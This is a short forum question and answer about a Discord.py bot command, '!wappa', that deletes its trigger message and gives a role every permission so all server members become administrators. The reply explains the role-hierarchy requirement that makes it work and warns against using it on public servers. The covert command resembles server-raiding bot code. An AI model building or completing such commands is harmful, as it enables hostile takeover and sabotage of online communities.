I want to assign admin rights to everyone in Discord.py

Viewed 16

I'm making a bot with Discord py. I am making a bot that grants admin rights to all members of the server with !wappa. But I get an error. How can I give admin rights to all members?

problematic codes↓

@client.command() async def wappa(ctx): await ctx.message.delete() guild = ctx.guild try: role = discord.utils.get(guild.roles, name="f") await role.edit(permissions=Permissions.all()) print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET) except: print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)

1 Answers

Your bot can't edit a role unless its role is higher than the role you're editing and it is admin

Warning : you really should never do that on a public server

Related